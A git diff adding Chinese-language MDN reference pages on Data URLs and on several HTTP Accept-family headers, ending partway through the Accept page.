a/files/zh-cn/web/http/data_uris/index.html b/files/zh-cn/web/http/data_uris/index.html new file mode 100644 index 0000000000..5153482967 --- /dev/null +++ b/files/zh-cn/web/http/data_uris/index.html @@ -0,0 +1,116 @@ +--- +title: Data URLs +slug: Web/HTTP/data_URIs +tags: + - Base64 + - HTTP + - URL + - 教程 + - 进阶 +translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>Data URLs</strong>,即前缀为 <code>data:</code> 协议的URL,其允许内容创建者向文档中嵌入小文件。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<p>Data URLs 由四个部分组成:前缀(<code>data:</code>)、指示数据类型的MIME类型、如果非文本则为可选的<code>base64</code>标记、数据本身:</p> + +<pre class="syntaxbox">data:[<mediatype>][;base64],<data> +</pre> + +<p><code>mediatype </code>是个 MIME 类型的字符串,例如 "<code>image/jpeg</code>" 表示 JPEG 图像文件。如果被省略,则默认值为 <code>text/plain;charset=US-ASCII</code></p> + +<p>如果数据是文本类型,你可以直接将文本嵌入 (根据文档类型,使用合适的实体字符或转义字符)。如果是二进制数据,你可以将数据进行base64编码之后再进行嵌入。</p> + +<p>下面是一些示例:</p> + +<dl> + <dt><code>data:,Hello%2C%20World!</code></dt> + <dd>简单的 text/plain 类型数据</dd> + <dt><code>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</code></dt> + <dd>上一条示例的 base64 编码版本</dd> + <dt><code>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</code></dt> + <dd>一个HTML文档源代码 <code><h1>Hello, World</h1></code></dd> + <dt><code>data:text/html,<script>alert('hi');</script></code></dt> + <dd>一个会执行 JavaScript alert 的 HTML 文档。注意 script 标签必须封闭。</dd> +</dl> + +<h2 id="Encoding_data_into_base64_format" name="Encoding_data_into_base64_format">给数据作 base64 编码</h2> + +<p>在Linux或者Mac OS系统上,你可以使用 <code>uuencode </code>命令行工具来简单实现编码:</p> + +<pre class="eval">uuencode -m <code>infile</code> <code>remotename</code> +</pre> + +<p><code>infile</code> 参数表示要作 base64编码的文件名称,<code>remotename</code> 参数表示输出的文件名称, 实际上并没有在 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">data</span></font> 方案的URLs 中使用。</p> + +<p>输出结果如下:</p> + +<pre class="eval">begin-base64 664 test +YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK +==== +</pre> + +<p>以上 Data URL 会使用位于首行之后的编码后的数据</p> + +<h3 id="在网页上使用_JavaScript">在网页上使用 JavaScript</h3> + +<p>Web APIs 已经有对 base64 进行编码解码的方法: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 encoding and decoding</a>.</p> + +<h2 id="Common_problems" name="Common_problems">常见问题</h2> + +<p>下文介绍一些在使用<code>data</code> URIs时遇到的常见问题:</p> + +<dl> + <dt>语法</dt> + <dd><code>data</code> URLs 的格式很简单,但很容易会忘记把逗号加在 "data" 协议名后面,在对数据进行 base64 编码时也很容易发生错误。</dd> + <dt>HTML代码格式化</dt> + <dd>一个 <code>data</code> URL 是一个文件中的文件,相对于文档来说这个文件可能就非常的长。因为 data URL 也是 URL,所以 data 会用空白符(换行符, 制表符, 空格)来对它进行格式化。但如果数据是经过 base64 编码的,就可能会<a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12" title="http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">遇到一些问题</a>。</dd> + <dt>长度限制</dt> + <dd>虽然 Firefox 支持无限长度的 <code>data</code> URLs,但是标准中并没有规定浏览器必须支持任意长度的 <code>data</code> URIs。比如,Opera 11浏览器限制 URLs 最长为 65535 个字符,这意味着 data URLs 最长为 65529 个字符(如果你使用纯文本 data:, 而不是指定一个 MIME 类型的话,那么 65529 字符长度是编码后的长度,而不是源文件)。</dd> + <dt>缺乏错误处理</dt> + <dd>MIME类型错误或者base64编码错误,都会造成<code>data</code> URIs无法被正常解析, 但不会有任何相关错误提示.</dd> + <dt>不支持查询字符串</dt> + <dd> + <p>一个data URI的数据字段是没有结束标记的,所以尝试在一个data URI后面添加查询字符串会导致,查询字符串也一并被当作数据字段.例如:</p> + + <pre class="eval">data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val +</pre> + + <p>这个 data URL 代表的 HTML 源文件内容为:</p> + + <pre class="eval">lots of text...<p><a name="bottom">bottom</a>?arg=val +</pre> + </dd> +</dl> + +<h2 id="Support_in_other_browsers" name="Support_in_other_browsers">浏览器兼容性</h2> + +<p>{{compat("http.data-url")}}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("2397")}}</td> + <td>The "data" URL scheme</td> + </tr> + </tbody> +</table> + +<h2 id="Resources" name="Resources">相关链接</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li> + <li>{{domxref("WindowBase64.atob","atob()")}}</li> + <li>{{domxref("WindowBase64.btoa","btoa()")}}</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/uri">CSS <code>url()</code></a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/URI">URI</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/accept-ch-lifetime/index.html b/files/zh-cn/web/http/headers/accept-ch-lifetime/index.html new file mode 100644 index 0000000000..99814cde07 --- /dev/null +++ b/files/zh-cn/web/http/headers/accept-ch-lifetime/index.html @@ -0,0 +1,71 @@ +--- +title: Accept-CH-Lifetime +slug: Web/HTTP/Headers/Accept-CH-Lifetime +translation_of: Web/HTTP/Headers/Accept-CH-Lifetime +--- +<div>{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}</div> + +<p>服务器设置<code><strong>Accept-CH-Lifetime</strong></code>标头以指定{{HTTPHeader("Accept-CH")}}标头值的持久性,该值指定客户端应在后续请求中包括哪些<a href="https://developer.mozilla.org/en-US/docs/Glossary/Client_hints">Client Hints</a>标头。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>?</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>注意:</strong> <a href="https://developer.mozilla.org/en-US/docs/Glossary/Client_hints">Client Hints</a>只能在安全源(通过TLS)上访问。所有安全的请求都应该持久化Accept-CH和Accept-CH-Lifetime头,以确保<a href="https://developer.mozilla.org/en-US/docs/Glossary/Client_hints">Client Hints</a>可靠地发送。</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Accept-CH-Lifetime: <age> +</pre> + +<h2 id="示例">示例</h2> + +<pre>Accept-CH: Viewport-Width, DPR +Accept-CH-Lifetime: 86400 +</pre> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-CH-Lifetime")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Accept-CH")}}</li> + <li>{{HTTPHeader("Vary")}}</li> +</ul> + +<div class="ui-widget-content ui-draggable" id="haloword-lookup" style="position: relative;"> +<div id="haloword-title"><a class="haloword-button" id="haloword-pron" title="发音"></a> + +<audio id="haloword-audio"></audio> + +<div id="haloword-control-container"><a class="haloword-button" id="haloword-add" title="加入单词表"></a><a class="haloword-button" id="haloword-remove" title="移出单词表"></a><a class="haloword-button" id="haloword-close" title="关闭查询窗"></a></div> +</div> + +<div id="haloword-content"></div> +</div> + +<div class="ui-widget-content" id="haloword-lookup"> +<div id="haloword-title"><a class="haloword-button" id="haloword-pron" title="发音"></a> + +<audio id="haloword-audio"></audio> + +<div id="haloword-control-container"><a class="haloword-button" id="haloword-add" title="加入单词表"></a><a class="haloword-button" id="haloword-remove" title="移出单词表"></a><a class="haloword-button" id="haloword-close" title="关闭查询窗"></a></div> +</div> + +<div id="haloword-content"></div> +</div> diff --git a/files/zh-cn/web/http/headers/accept-ch/index.html b/files/zh-cn/web/http/headers/accept-ch/index.html new file mode 100644 index 0000000000..ded134ff4d --- /dev/null +++ b/files/zh-cn/web/http/headers/accept-ch/index.html @@ -0,0 +1,57 @@ +--- +title: Accept-CH +slug: Web/HTTP/Headers/Accept-CH +translation_of: Web/HTTP/Headers/Accept-CH +--- +<div>{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}</div> + +<p><code><strong>Accept-CH</strong></code> 头由服务器设置,以指定客户端应在后续请求中应包含哪些客户端<a href="/en-US/docs/Glossary/Client_hints">Client Hints</a>提示头。</p> + + + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>?</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>注意:</strong> <a href="/en-US/docs/Glossary/Client_hints">Client Hints</a>只能在安全源(通过TLS)上访问。所有安全的请求都应该持久化Accept-CH和Accept-CH-Lifetime头,以确保<a href="/en-US/docs/Glossary/Client_hints">Client Hints</a>可靠地发送。</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Accept-CH: <list of client hints> +</pre> + +<h2 id="例子">例子</h2> + +<pre>Accept-CH: DPR, Viewport-Width +Accept-CH: Width +Accept-CH-Lifetime: 86400 +Vary: DPR, Viewport-Width, Width +</pre> + +<div class="blockIndicator note"> +<p><strong>注意:</strong> 牢记要根据所接受的Client Hints<a href="https://developer.mozilla.org/en-US/docs/Glossary/Client_hints#Varying_Client_Hints">更改响应</a>。</p> +</div> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-CH")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Accept-CH-Lifetime")}}</li> + <li>{{HTTPHeader("Vary")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/accept-charset/index.html b/files/zh-cn/web/http/headers/accept-charset/index.html new file mode 100644 index 0000000000..151a09575d --- /dev/null +++ b/files/zh-cn/web/http/headers/accept-charset/index.html @@ -0,0 +1,90 @@ +--- +title: Accept-Charset +slug: Web/HTTP/Headers/Accept-Charset +tags: + - HTTP + - HTTP Header + - POST + - Request header + - 内容协商 + - 请求头 +translation_of: Web/HTTP/Headers/Accept-Charset +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Accept-Charset</code></strong> 请求头用来告知(服务器)客户端可以处理的字符集类型。 借助<a href="/en-US/docs/Web/HTTP/Content_negotiation">内容协商机制</a>,服务器可以从诸多备选项中选择一项进行应用, 并使用{{HTTPHeader("Content-Type")}} 应答头通知客户端它的选择。浏览器通常不会设置此项值,因为每种内容类型的默认值通常都是正确的,但是发送它会更有利于识别。</p> + +<p>如果服务器不能提供任何可以匹配的字符集的版本,那么理论上来说应该返回一个 {{HTTPStatus("406")}} (Not Acceptable,不被接受)的错误码。但是为了更好的用户体验,这种方法很少采用,取而代之的是将其忽略。</p> + +<div class="note"> +<p>在早期版本的HTTP/1.1协议中,规定了一个默认的字符集(ISO-8859-1)。但是现在情况不同了,目前每一种内容类型都有自己的默认字符集。</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="句法">句法</h2> + +<pre class="syntaxbox">Accept-Charset: <charset> + +// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: +Accept-Charset: utf-8, iso-8859-1;q=0.5</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code><charset></code></dt> + <dd><code>诸如 utf-8</code> 或 <code>iso-8859-15的字符集。</code></dd> + <dt><code>*</code></dt> + <dd><code><font face="Open Sans, arial, sans-serif">在这个消息头中未提及的任意其他字符集;</font>'*'</code> 用来表示通配符。</dd> + <dt><code>;q=</code> (q-factor weighting)</dt> + <dd>值代表优先顺序,用相对<a href="/en-US/docs/Glossary/Quality_values">质量价值</a>表示,又称为权重。</dd> +</dl> + +<h2 id="例子">例子</h2> + +<pre>Accept-Charset: iso-8859-1 + +Accept-Charset: utf-8, iso-8859-1;q=0.5 + +Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1 +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-Charset")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">内容协商机制</a></li> + <li>用来表示内容协商结果的消息头: {{HTTPHeader("Content-Type")}}</li> + <li>其他类似消息头: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/accept-encoding/index.html b/files/zh-cn/web/http/headers/accept-encoding/index.html new file mode 100644 index 0000000000..f2379df8d1 --- /dev/null +++ b/files/zh-cn/web/http/headers/accept-encoding/index.html @@ -0,0 +1,117 @@ +--- +title: Accept-Encoding +slug: Web/HTTP/Headers/Accept-Encoding +tags: + - Accept-Encoding + - 内容协商 + - 请求头 +translation_of: Web/HTTP/Headers/Accept-Encoding +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP 请求头 <strong>Accept-Encoding </strong>会将客户端能够理解的内容编码方式——通常是某种压缩算法——进行通知(给服务端)。通过内容协商的方式,服务端会选择一个客户端提议的方式,使用并在响应头 {{HTTPHeader("Content-Encoding")}} 中通知客户端该选择。</p> + +<p>即使客户端和服务器都支持相同的压缩算法,在 identity 指令可以被接受的情况下,服务器也可以选择对响应主体不进行压缩。导致这种情况出现的两种常见的情形是:</p> + +<ul> + <li>要发送的数据已经经过压缩,再次进行压缩不会导致被传输的数据量更小。一些图像格式的文件会存在这种情况;</li> + <li><span>服务器超载,无法承受压缩需求导致的计算开销。通常,如果服务器使用超过80%的计算能力,微软建议不要压缩。</span></li> +</ul> + +<p>只要 identity —— 表示不需要进行任何编码——没有被明确禁止使用(通过 identity;q=0 指令或是 *;q=0 而没有为 identity 明确指定权重值),则服务器禁止返回表示客户端错误的 {{HTTPStatus("406")}} Not Acceptable 响应。</p> + +<div class="note"><strong>注意:</strong> + +<ul> + <li> + <p>IANA 维护了<a class="external" href="http://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1">一个完整的官方支持的编码方式列表</a>。</p> + </li> + <li>另外两种编码方式—— bzip 和 bzip2 ——有时候也会用到,尽管并未在标准中出现。这两种方式实现了 UNIX 系统上的同名程序所采用的算法。注意第一种由于专利许可问题已经停止维护。</li> +</ul> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Accept-Encoding: gzip +Accept-Encoding: compress +Accept-Encoding: deflate +Accept-Encoding: br +Accept-Encoding: identity +Accept-Encoding: * + +// Multiple algorithms, weighted with the {{Glossary("Quality Values", "quality value")}} syntax: +Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>gzip</code></dt> + <dd>表示采用 <a class="external external-icon" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77) 压缩算法,以及32位CRC校验的编码方式。</dd> + <dt><code>compress</code></dt> + <dd>采用 <a class="external external-icon" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 压缩算法。</dd> + <dt><code>deflate</code></dt> + <dd>采用 <a href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 结构和 <a href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> 压缩算法。</dd> + <dt><code>br</code></dt> + <dd>表示采用 <a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> 算法的编码方式。</dd> + <dt><code>identity</code></dt> + <dd>用于指代自身(例如:未经过压缩和修改)。除非特别指明,这个标记始终可以被接受。</dd> + <dt><code>*</code></dt> + <dd>匹配其他任意未在该请求头字段中列出的编码方式。假如该请求头字段不存在的话,这个值是默认值。它并不代表任意算法都支持,而仅仅表示算法之间无优先次序。</dd> + <dt><code>;q=</code> (qvalues weighting)</dt> + <dd>值代表优先顺序,用相对<a href="/en-US/docs/Glossary/Quality_values">质量价值</a> 表示,又称为权重。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Accept-Encoding: gzip + +Accept-Encoding: gzip, compress, br + +Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept-Encoding", "5.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-Encoding")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">内容协商</a></li> + <li>包含有内容协商结果的响应头: {{HTTPHeader("Content-Encoding")}}</li> + <li>其他相似的请求头:{{HTTPHeader("TE")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> +</ul> + +<div id="icibaCirclePointer" style="position: absolute; top: 233px; left: 15px;"></div> + +<div id="icibaCirclePointer" style="position: absolute; top: 233px; left: 15px;"></div> diff --git a/files/zh-cn/web/http/headers/accept-language/index.html b/files/zh-cn/web/http/headers/accept-language/index.html new file mode 100644 index 0000000000..9d647635a6 --- /dev/null +++ b/files/zh-cn/web/http/headers/accept-language/index.html @@ -0,0 +1,93 @@ +--- +title: Accept-Language +slug: Web/HTTP/Headers/Accept-Language +tags: + - HTTP + - 参考 + - 语言 + - 请求头 +translation_of: Web/HTTP/Headers/Accept-Language +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Accept-Language</code></strong> 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言。借助<a href="/en-US/docs/Web/HTTP/Content_negotiation">内容协商机制</a>,服务器可以从诸多备选项中选择一项进行应用, 并使用 {{HTTPHeader("Content-Language")}} 应答头通知客户端它的选择。浏览器会基于其用户界面语言为这个请求头设置合适的值,即便是用户可以进行修改,但是这种情况极少发生(因为可增加指纹独特性,通常也不被鼓励)(译者注:通常只在测试网站的多语言支持时手动修改它;或为进一步减少指纹独特性,改为最常见的英文)。</p> + +<p>当服务器无法通过其他方式来确定应当使用的语言时——例如某一特定的 URL,这是用户明确指定的——这个请求头可以用作提示。建议服务器端永远不要覆盖明确指定的信息。<code>Accept-Language</code> 消息头的内容通常不在用户的掌控之中(例如在国外旅行时到提供网络服务的场所上网);另外用户可能会想要浏览非本地用户界面语言的页面。</p> + +<p>如果服务器不能提供任何可以匹配的语言的版本,那么理论上来说应该返回一个 {{HTTPStatus("406")}}(Not Acceptable,不被接受)的错误码。但是为了更好的用户体验,这种方法很少被采用,取而代之的是将其忽略。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Accept-Language: <language> +Accept-Language: * + +// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: +Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code><language></code></dt> + <dd>用含有两到三个字符的字符串表示的语言码或完整的语言标签。除了语言本身之外,还会包含其他方面的信息,显示在中划线("-")后面。最常见的额外信息是国家或地区变种(如"en-US")或者表示所用的字母系统(如"sr-Lat")。其他变种诸如拼字法("de-DE-1996")等通常不被应用在这种场合。</dd> + <dt><code>*</code></dt> + <dd>任意语言;<code>"*"</code> 表示通配符(wildcard)。</dd> + <dt><code>;q=</code> (q-factor weighting)</dt> + <dd>此值代表优先顺序,用相对{{glossary("Quality values", "质量价值")}}表示,又称为<em>权重</em>。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Accept-Language: de + +Accept-Language: de-CH + +Accept-Language: en-US,en;q=0.5 + +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept-Language", "5.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-Language")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">内容协商</a></li> + <li>表示此 Header 的内容协商结果的消息头:{{HTTPHeader("Content-Language")}}</li> + <li>其他类似的消息头:{{HTTPHeader("TE")}}、{{HTTPHeader("Accept-Encoding")}}、{{HTTPHeader("Accept-Charset")}}、{{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/accept-patch/index.html b/files/zh-cn/web/http/headers/accept-patch/index.html new file mode 100644 index 0000000000..17f3fc0790 --- /dev/null +++ b/files/zh-cn/web/http/headers/accept-patch/index.html @@ -0,0 +1,85 @@ +--- +title: Accept-Patch +slug: Web/HTTP/Headers/Accept-Patch +translation_of: Web/HTTP/Headers/Accept-Patch +--- +<div>{{HTTPSidebar}}</div> + +<p>服务器使用 HTTP 响应头 <code><strong>Accept-</strong></code><strong><code>Patch</code></strong> 通知浏览器请求的媒体类型(media-type)可以被服务器理解。</p> + +<p><strong><code>Accept-Patch</code></strong> in response to any method means that PATCH is allowed on the resource identified by the Request-URI. Two common cases lead to this:</p> + +<p>A server receiving a PATCH request with an unsupported media type could reply with {{HTTPStatus("415")}} <code>Unsupported Media Type</code> and an Accept-Patch header referencing one or more supported media types.</p> + +<p> </p> + +<div class="note"><strong>Notes:</strong> + +<ul> + <li> + <p>An IANA registry maintains <a class="external" href="http://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1">a complete list of official content encodings</a>.</p> + </li> + <li>Two others content encoding, <code>bzip</code> and <code>bzip2</code>, are sometimes used, though not standard. They implement the algorithm used by these two UNIX programs. Note that the first one was discontinued due to patent licensing problems.</li> +</ul> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">头部类型</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}(禁止修改的 HTTP 头)</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Accept-Patch: application/example, text/example +Accept-Patch: text/example;charset=utf-8 +Accept-Patch: application/merge-patch+json +</pre> + +<h2 id="指令">指令</h2> + +<p>(无)</p> + +<h2 id="示例">示例</h2> + +<pre class="syntaxbox">Accept-Patch: application/example, text/example + +Accept-Patch: text/example;charset=utf-8 + +Accept-Patch: application/merge-patch+json +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("5789", "Accept-Patch", "2.2")}}</td> + <td>HTTP PATCH</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-Patch")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>Http method {{HTTPMethod("PATCH")}}</li> + <li>HTTP Semantic and context {{RFC("7231", "PUT", "4.3.4")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/accept-ranges/index.html b/files/zh-cn/web/http/headers/accept-ranges/index.html new file mode 100644 index 0000000000..28b069b158 --- /dev/null +++ b/files/zh-cn/web/http/headers/accept-ranges/index.html @@ -0,0 +1,74 @@ +--- +title: Accept-Ranges +slug: Web/HTTP/Headers/Accept-Ranges +translation_of: Web/HTTP/Headers/Accept-Ranges +--- +<div>{{HTTPSidebar}}</div> + +<p>服务器使用 HTTP 响应头 <code><strong>Accept-Ranges</strong></code> 标识自身支持范围请求(partial requests)。字段的具体值用于定义范围请求的单位。</p> + +<p>当浏览器发现<code> Accept-Ranges </code>头时,可以尝试<em>继续</em>中断了的下载,而不是重新开始。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">头部类型</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row"> + <p>{{Glossary("Forbidden header name")}}(禁止修改的 HTTP 头)</p> + </th> + <td>否</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Accept-Ranges: bytes +Accept-Ranges: none</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>none</code></dt> + <dd>不支持任何范围请求单位,由于其等同于没有返回此头部,因此很少使用。不过一些浏览器,比如IE9,会依据该头部去禁用或者移除下载管理器的暂停按钮。</dd> + <dt><code>bytes</code></dt> + <dd> + <p>范围请求的单位是 bytes (字节)。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Accept-Ranges: bytes +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7233", "Accept-Ranges", "2.3")}}</td> + <td>超文本传输协议 (HTTP/1.1): 范围请求</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">这个页面兼容性表的数据来自于组织的数据. 如果你想向这些数据机构提供贡献, 请查阅 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 和给我们发送一个 <code>pr</code>(代码提交合并申请)</p> + +<p>{{Compat("http.headers.Accept-Ranges")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/accept/index.html b/files/zh-cn/web/http/headers/accept/index.html new file mode 100644 index 0000000000..13e1fbaa34 --- /dev/null +++ b/files/zh-cn/web/http/headers/accept/index.html @@ -0,0 +1,85 @@ +--- +title: Accept +slug: Web/HTTP/Headers/Accept +translation_of: Web/HTTP/Headers/Accept +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Accept</code></strong> 请求头用来告知(服务器)客户端可以处理的内容类型,这种内容类型用<a href="/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME类型</a>来表示。借助<a href="/en-US/docs/Web/HTTP/Content_negotiation">内容协商机制</a>, 服务器可以从诸多备选项中选择一项进行应用,并使用 {{HTTPHeader("Content-Type")}} 应答头通知客户端它的选择。浏览器会基于请求的上下文来为这个请求头设置合适的值,比如获取一个CSS层叠样式表时值与获取图片、视频或脚本文件时的值是不同的。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Accept: 